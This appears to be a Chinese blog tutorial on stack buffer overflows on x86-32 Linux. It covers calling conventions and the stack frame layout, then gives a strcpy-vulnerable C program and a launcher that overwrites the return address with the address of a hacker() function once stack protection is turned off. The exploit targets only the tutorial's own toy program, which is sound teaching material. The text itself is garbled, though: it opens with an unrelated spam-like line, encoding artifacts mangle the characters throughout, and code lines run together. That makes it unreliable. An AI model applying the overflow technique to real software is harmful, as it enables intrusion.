做設(shè)計(jì)的搜素材上什么網(wǎng)站廣州優(yōu)化營(yíng)商環(huán)境條例
在x86-32-Linux下構(gòu)造一個(gè)棧溢出攻擊
棧緩沖區(qū)溢出攻擊:向棧上的數(shù)組寫入超過(guò)數(shù)組長(zhǎng)度的數(shù)據(jù)導(dǎo)致覆蓋到正常數(shù)據(jù){棧幀上的返回地址}。
IA-32下C函數(shù)調(diào)用約定:
- 調(diào)用者將參數(shù)從右向左入棧,構(gòu)造參數(shù)
call
指令短跳轉(zhuǎn),會(huì)將call指令下一條指令地址(RA
)入棧,供RET指令返回使用- 被調(diào)用函數(shù)創(chuàng)建棧幀,
push %ebp; mov %esp, %ebp;
則一個(gè)函數(shù)調(diào)用的棧幀情況:
void func(int a,int b,int c) {int tmp = 0x99;return ;
}
void main() {func(1,2,3);
}
0x0 | 參數(shù)C |
---|---|
0x4 | 參數(shù)B |
0x8 | 參數(shù)A |
0xC | RA地址 |
0x10 | 舊%ebp |
0x14 | tmp變量值0x99 |
攻擊原理: 利用strcpy(dst, src)
函數(shù),對(duì)寫入的src
數(shù)據(jù)長(zhǎng)度不做檢查的特性,對(duì)函數(shù)的棧數(shù)組進(jìn)行寫溢出攻擊。
假設(shè)待寫溢出的數(shù)組在test()中
// a.c
#include <stdio.h>
#include <string.h>void test(char *str) {char buffer[16]; // 待攻擊處strcpy(buffer, str);printf("%s\n", buffer);
}void hacker(void) {printf("being hacked\n");
}int main(int argc,char *argv[]) {test(argv[1]);return 0;
}
gcc a.c -o a.out
編譯后,objdump -d a.out
反匯編查看棧布局。發(fā)現(xiàn)GCC對(duì)
strcpy()
的調(diào)用處插入棧檢查代碼call 8048398 <__stack_chk_fail@plt>
.
首先關(guān)閉gcc的棧保護(hù)機(jī)制,gcc -o a.out -fno-stack-protector
,查看反匯編發(fā)現(xiàn)沒(méi)有了棧檢查代碼。
于是根據(jù)反匯編代碼來(lái)得到test()
的棧幀布局情況。
由sub $0x28, %esp
指令得知gcc給test()
函數(shù)生成了0x28
個(gè)字節(jié)大小的??臻g,布局如下。
并且通過(guò)傳入strcpy()函數(shù)的buffer參數(shù)lea -0x18(%ebp), %eax
得到buffer變量在棧上的起始地址
數(shù)組buffer
的起始地址是-0x18(%ebp)
,于是便能夠知道數(shù)組在棧幀的中的位置,
%ebp+0x8 | 參數(shù) char *str |
---|---|
%ebp+0x4 | RA返回地址 |
%ebp當(dāng)前的值,也就是test的棧底,0 | main的%ebp |
%ebp-0x4 | |
ebp-0x8 | |
-0xC | buf 12~15 |
-0x10 | buf 8~11 |
-0x14 | buf 4~7 |
-0x18 | buf 0~3 |
-0x1C | |
%ebp-0x20 | |
%ebp-0x24 = %esp + 0x4 | strcpy的參數(shù):char *str |
%ebp-0x28 = %esp | strcpy的參數(shù):buf地址=-0x18(%ebp) |
既然有了buffer
數(shù)組的位置,那么就能得到buffer
數(shù)組到RA
返回地址處的長(zhǎng)度=16+3*4=28
字節(jié),28字節(jié)后面開(kāi)始的 4字節(jié)便是需要構(gòu)造的"攻擊"跳轉(zhuǎn)地址
假設(shè)我們想要其跳轉(zhuǎn)到void hacker()
函數(shù),寫入RA處為hacker()
函數(shù)地址即可。反匯編查看hacker()
函數(shù)的虛擬地址
有了hacker()
函數(shù)地址,便能構(gòu)造寫溢出攻擊字符串的內(nèi)容了,28字節(jié)的垃圾字符+4字節(jié)hacker()
函數(shù)地址+\0
代碼如下:
// test.c
#include <unistd.h>
#include <stdio.h>char tmp[33];int main() {for (int i=0; i<28; i++)tmp[i] = 'F';// 對(duì)應(yīng)hacker()地址 0x08048439tmp[28] = '\x39';tmp[29] = '\x84';tmp[30] = '\x04';tmp[31] = '\x08';tmp[32] = '\0';char *argv[3] = { "./a.out", tmp, NULL};execve(argv[0], argv, NULL);return 0;
}
// gcc a.c -fno-stack-protector -o a.out
// gcc test.c -o test -std=c99
./test
運(yùn)行結(jié)果如下:棧溢出攻擊成功
總結(jié)
需要根據(jù)反匯編代碼來(lái)查看函數(shù)棧中的變量的布局,然后根據(jù)棧變量布局再來(lái)構(gòu)造溢出字符串。